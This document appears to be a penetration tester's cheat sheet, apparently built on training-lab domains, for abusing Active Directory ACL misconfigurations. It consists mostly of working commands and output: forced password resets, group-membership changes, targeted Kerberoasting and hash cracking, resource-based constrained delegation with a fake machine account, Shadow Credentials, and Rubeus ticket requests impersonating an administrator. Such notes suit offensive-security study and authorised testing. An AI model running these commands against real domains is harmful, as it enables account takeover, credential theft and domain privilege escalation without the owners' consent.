Interesting ACL
ForceChangePassword abused with Set-DomainUserPassword
- gives us the right to reset a user's password without first knowing their password (should be used cautiously and typically best to consult our client before resetting passwords).
Add Members
abused with Add-DomainGroupMember
GenericAll
abused with Set-DomainUserPassword
or Add-DomainGroupMember
- this grants us full control over a target object. Again, depending on if this is granted over a user or group, we could modify group membership, force change a password, or perform a targeted Kerberoasting attack. If we have this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.
GenericWrite
abused with Set-DomainObject
- gives us the right to write to any non-protected attribute on an object. If we have this access over a user, we could assign them an SPN and perform a Kerberoasting attack (which relies on the target account having a weak password set). Over a group means we could add ourselves or another security principal to a given group. Finally, if we have this access over a computer object, we could perform a resource-based constrained delegation attack which is outside the scope of this module.
WriteOwner
abused with Set-DomainObjectOwner
WriteDACL
abused with Add-DomainObjectACL
AllExtendedRights
abused with Set-DomainUserPassword
or Add-DomainGroupMember
Addself
abused with Add-DomainGroupMember
- shows security groups that a user can add themselves to.
Tools
ACLpwn
SharpADWS
Copy C:\Users\Marcus>SharpADWS.exe acl -dn "OU=Domain Controllers,DC=corp,DC=local" -scope Subtree -trustee Marcus
Severity : Critical
ObjectDN : CN=DC01,OU=Domain Controllers,DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
ObjectType : All
Trustee : Marcus
IsInherited : False
More commands on the github repo
ADACLScanner
ACL Enumeration
PowerView
Copy Find-InterstingDomainAcl - ResolveGUIDs
Copy PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> $sid = Convert-NameToSid wley
Copy PS C:\htb> Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
ObjectDN : CN=Dana Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ObjectSID : S-1-5-21-3842939050-3880317879-2865463114-1176
ActiveDirectoryRights : ExtendedRight
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 00299570-246d-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 256
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1181
AceType : AccessAllowedObject
AceFlags : ContainerInherit
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None
AuditFlags : None
Copy PS C:\htb> $guid= "00299570-246d-11d0-a768-00aa006e0529"
PS C:\htb> Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl
Name : User-Force-Change-Password
DisplayName : Reset Password
DistinguishedName : CN=User-Force-Change-Password,CN=Extended-Rights,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
rightsGuid : 00299570-246d-11d0-a768-00aa006e0529
One in all
Copy PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
AceQualifier : AccessAllowed
ObjectDN : CN=Dana Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-3842939050-3880317879-2865463114-1176
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1181
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : ContainerInherit
InheritedObjectAceType : All
OpaqueLength : 0
Copy PS C:\htb> $sid2 = Convert-NameToSid damundsen
PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid2} -Verbose
AceType : AccessAllowed
ObjectDN : CN=Help Desk Level 1,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
OpaqueLength : 0
ObjectSID : S-1-5-21-3842939050-3880317879-2865463114-4022
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1176
AccessMask : 131132
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed
Copy PS C:\htb> Get-DomainGroup -Identity "Help Desk Level 1" | select memberof
memberof
--------
CN=Information Technology,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
Copy PS C:\htb> $itgroupsid = Convert-NameToSid "Information Technology"
PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $itgroupsid} -Verbose
AceType : AccessAllowed
ObjectDN : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID : S-1-5-21-3842939050-3880317879-2865463114-1164
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-4016
AccessMask : 983551
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed
Copy PS C:\htb> $adunnsid = Convert-NameToSid adunn
PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $adunnsid} -Verbose
AceQualifier : AccessAllowed
ObjectDN : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes-In-Filtered-Set
ObjectSID : S-1-5-21-3842939050-3880317879-2865463114
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1164
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : ContainerInherit
InheritedObjectAceType : All
OpaqueLength : 0
AceQualifier : AccessAllowed
ObjectDN : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes
ObjectSID : S-1-5-21-3842939050-3880317879-2865463114
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1164
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : ContainerInherit
InheritedObjectAceType : All
OpaqueLength : 0
<SNIP>
Get-Acl & GetADUser
Copy PS C:\htb> Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
Copy PS C:\htb> foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}
Path : Microsoft.ActiveDirectory.Management.dll\ActiveDirectory:://RootDSE/CN=Dana
Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
InheritanceType : All
ObjectType : 00299570-246d-11d0-a768-00aa006e0529
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : ObjectAceTypePresent
AccessControlType : Allow
IdentityReference : INLANEFREIGHT\wley
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None
ForceChangePassword
wley -> ForceChangePassword -> damundsen
Run as wley
Copy PS C:\htb> $SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
PS C:\htb> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
New password
Copy PS C:\htb> $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
Change Pass
Copy PS C:\htb> cd C:\Tools\
PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'
VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully reset
With RPCclient
Copy $ rpcclient -U support 10.10.10.192
Enter WORKGROUP\support's password:
rpcclient $> setuserinfo2 Audit2020 23 'PleaseSub!'
GenericWrite
With sufficient rights (GenericWrite or GenericAll) Kerberos preauth can be forced disabled as well - AS REPRoasting
Add Member
Run as damundsen:
Copy PS C:\htb> $SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
PS C:\htb> $Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
Add member
Copy PS C:\htb> Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Add-DomainGroupMember] Adding member 'damundsen' to group 'Help Desk Level 1'
Confirming user wad added to the group
Copy PS C:\htb> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
MemberName
----------
busucher
spergazed
<SNIP>
damundsen
dpayne
CleanUp - Remove user from group
Copy PS C:\htb> Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Remove-DomainGroupMember] Removing member 'damundsen' from group 'Help Desk Level 1'
True
Disable Kerberos Pre Auth - ASREP Roast
Misconfiguration Targeted Kerberoast
Enumerate the permissions for one group with PowerView
Copy Find-InterstingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
Check if a the victim already has a SPN
Copy Get-DomainUser -Identity victim | select serviceprinicpalname
Copy Get-ADUser -Identity victim -Properties ServicePrincipalName | select ServicePrincipalName
Set a SPN for the victim
Copy Set-DomainObject -Identity victim -Set @{serviceprincipalname='domain/whatever'}
Copy Set-ADUser -Identity victim -ServicePrincipalNames @{Add='domain/whatever'}
Kerberoast the vicitm
Copy Rubeus.exe kerberoast /outfile:targetedhahses.txt
john.exe --wordlist=C:\path\to\10k-worst-pass.txt C:\path\to\targetedhashes.txt
Trustee and Resource Delegation GenericAll
With sufficient rights (GenericWrite or GenericAll) Kerberos preauth can be forced disabled as well - AS REPRoasting
Copy PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn))))
VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to 'notahacker/LEGIT' for object 'adunn'
Copy PS C:\htb> .\Rubeus.exe kerberoast /user:adunn /nowrap
Kerberoast CleanUp - Remove fake SPN
Copy PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn))))
VERBOSE: [Set-DomainObject] Clearing 'serviceprincipalname' for object 'adunn'
Other Example
Copy PS C:\Users\mssqladm\Desktop> Import-Module .\PowerView.ps1
PS C:\Users\mssqladm\Desktop> Get-DomainUser 'ttimmons' | Select serviceprincipalname
serviceprincipalname
--------------------
PS C:\Users\mssqladm\Desktop> Set-DomainObject -Identity 'ttimmons' -Set @{serviceprincipalname='nonexistent/BLAHBLAH'}
PS C:\Users\mssqladm\Desktop> $User = Get-DomainUser 'ttimmons'
PS C:\Users\mssqladm\Desktop> $User | Get-DomainSPNTicket | fl
RBCD - Resource Based Constrained Delegation RBCD
Trustee and Resource Delegation Change user Context
Copy *Evil-WinRM* PS C:\> $TargetComputer = 'TARGET.domain.local'
*Evil-WinRM* PS C:\> $UserWithDaclUsername = 'domain.local\test'
*Evil-WinRM* PS C:\> $UserWithDaclPassword = ConvertTo-SecureString 'Password' -AsPlainText -Force
*Evil-WinRM* PS C:\> $Cred = New-Object System.Management.Automation.PSCredential($UserWithDaclUsername, $UserWithDaclPassword)
1 - Add a new attacker-controlled computer account
https://raw.githubusercontent.com/Kevin-Robertson/Powermad/refs/heads/master/Powermad.ps1
Copy *Evil-WinRM* PS C:\> Import-Module .\Powermad.ps1
*Evil-WinRM* PS C:\> New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force) -Verbose -Credential $Cred
Verbose: [+] Domain Controller =
Verbose: [+] Domain = domain.local
Verbose: [+] SAMAccountName = attackersystem$
Verbose: [+] Distinguished Name = CN=attackersystem,CN=Computers,DC=domain,DC=local
[+] Machine account attackersystem added
2 - Build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Recon/PowerView.ps1
Copy *Evil-WinRM* PS C:\> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\> $ComputerSid = Get-DomainComputer attackersystem -Properties objectsid -Verbose -Credential $Cred | Select -Expand objectsid
Verbose: [Get-Domain] Using alternate credentials for Get-Domain
Verbose: [Get-Domain] Extracted domain 'domain.local' from -Credential
Verbose: [Get-DomainSearcher] search base: LDAP://dc1.domain.local/DC=domain,DC=local
Verbose: [Get-DomainSearcher] Using alternate credentials for LDAP connection
Verbose: [Get-DomainComputer] Get-DomainComputer filter string: (&(samAccountType=805306369)(|(name=attackersystem)))
*Evil-WinRM* PS C:\> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
*Evil-WinRM* PS C:\> $SDBytes = New-Object byte[] ($SD.BinaryLength)
*Evil-WinRM* PS C:\> $SD.GetBinaryForm($SDBytes, 0)
3 - Set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity
field of the comptuer account
Copy *Evil-WinRM* PS C:\> Get-DomainComputer $TargetComputer -Verbose -Credential $Cred | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose -Credential $Cred
Or automate the process with RbcdPwn.ps1
https://gist.githubusercontent.com/snovvcrash/81c8e151527bfd5e28c40ed77eb3c5ab/raw/e026157aa1cee84135c5bba4aca5bd597454e85c/RbcdPwn.ps1
Copy PS C:\> Import-Module .\PowerView.ps1
PS C:\> Import-Module .\Powermad.ps1
PS C:\> Import-Module .\RbcdPwn.ps1
PS C:\> Invoke-RbcdPwn -FakeMachine fakemachine123
4 - Hash the plaintext password into its RC4_HMAC form
Copy PS C:\> .\Rubeus.exe hash /domain:domain.local /user:fakemachine123$ /password:P@ssw0rd!
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Calculate Password Hash(es)
[*] Input password : P@ssw0rd!
[*] Input username : fakemachine123$
[*] Input domain : domain.local
[*] Salt : DOMAIN.LOCALhostfakemachine123.domain.local
[*] rc4_hmac : 217E50203A5ABA59CEFA863C724BF61B
[*] aes128_cts_hmac_sha1 : 9B5A2BAF536BC1D4BABE30F732A8FB39
[*] aes256_cts_hmac_sha1 : EC73111B3BA6754EDAFF699140B8B989771EB671D52B640F622DF58E76181052
[*] des_cbc_md5 : 4FA1ECEFBAC776CD
```
5 - Get a service ticket for the service name (sname) we want to "pretend" to be "admin"
Copy PS C:\> .\Rubeus.exe s4u /domain:domain.local /user:fakemachine123$ /rc4:217E50203A5ABA59CEFA863C724BF61B /impersonateuser:user_to_impersonate /msdsspn:http/web.domain.local /ptt
Copy PS C:\> cmd /c curl --negotiate -u : http://web.domain.local -o out.html -v
Disable Kerberos Pre Auth - ASREP Roast
Misconfiguration AllExtendedRights
Change password
Copy bloodyAD --host "192.168.1.8" -d "ignite.local" -u "geet" -p "Password@1" set password "kavish" "Password@987"
Shadow Credentials
Pre-requisites to abuse Shadow Credentials:
AD CS (Key Trust if AD CS is not present)
Support for PKINIT and at least one DC with Windows Server 2016 or above.
Permissions (GenericWrite/GenericAll ) to modify the msDS-KeyCredentialLink
attribute of the target object.
Abusing User Object
Enumerate the permissions.
Copy Find-InterestingDomainAcl - ResolveGUIDs |? { $_.IdentityReferenceName -match "StudentUsers" }
Add the Shadow Credential.
Copy Whisker.exe add / target:supportXuser
Linux - pyWhisker - cf The Hacker Recipes
Using PowerView, see if the Shadow Credential is added.
Copy Get-DomainUser - Identity supportXuser
Request the TGT by leveraging the certificate.
Copy Rubeus.exe asktgt /user:supportXuser /certificate:MIIJuAIBA<-SNIP-> /password:"1O<-SNIP->" /domain:domain.local /dc:DC.domain.local /getcredentials /show /nowrap
Inject the TGT in the current session or use the NTLM hash
Copy Rubeus.exe ptt / ticket: < base64_tgt >
Abusing Computer Object
Enumerate the permissions.
Copy Find-InterestingDomainAcl - ResolveGUIDs | ? { $_.IdentityReferenceName -match 'mgmtadmin’ }
Add the Shadow Credentials.
Copy SafetyKatz.exe "sekurlsa::pth /user:mgmtadmin /domain:domain.local /aes256:<aes_key> /run:cmd.exe" "exit"
Copy Whisker.exe add / target:computer$
Using PowerView, see if the Shadow Credential is added.
Copy Get-DomainComputer - Identity computer
Request the TGT by leveraging the certificate.
Copy Rubeus.exe asktgt /user:computer$ /certificate:MIIJ0AIBA<-SNIP-> /password:"ViG<-SNIP->" /domain:domain.local /dc:DC.domain.local /getcredentials /show
Request and Inject the TGS by impersonating the user.
Copy Rubeus.exe s4u /dc:dc.domain.local /ticket:<base64_tgt> /impersonateuser:administrator /ptt /self /altservice:cifs/computer
ShadowSpray
Resource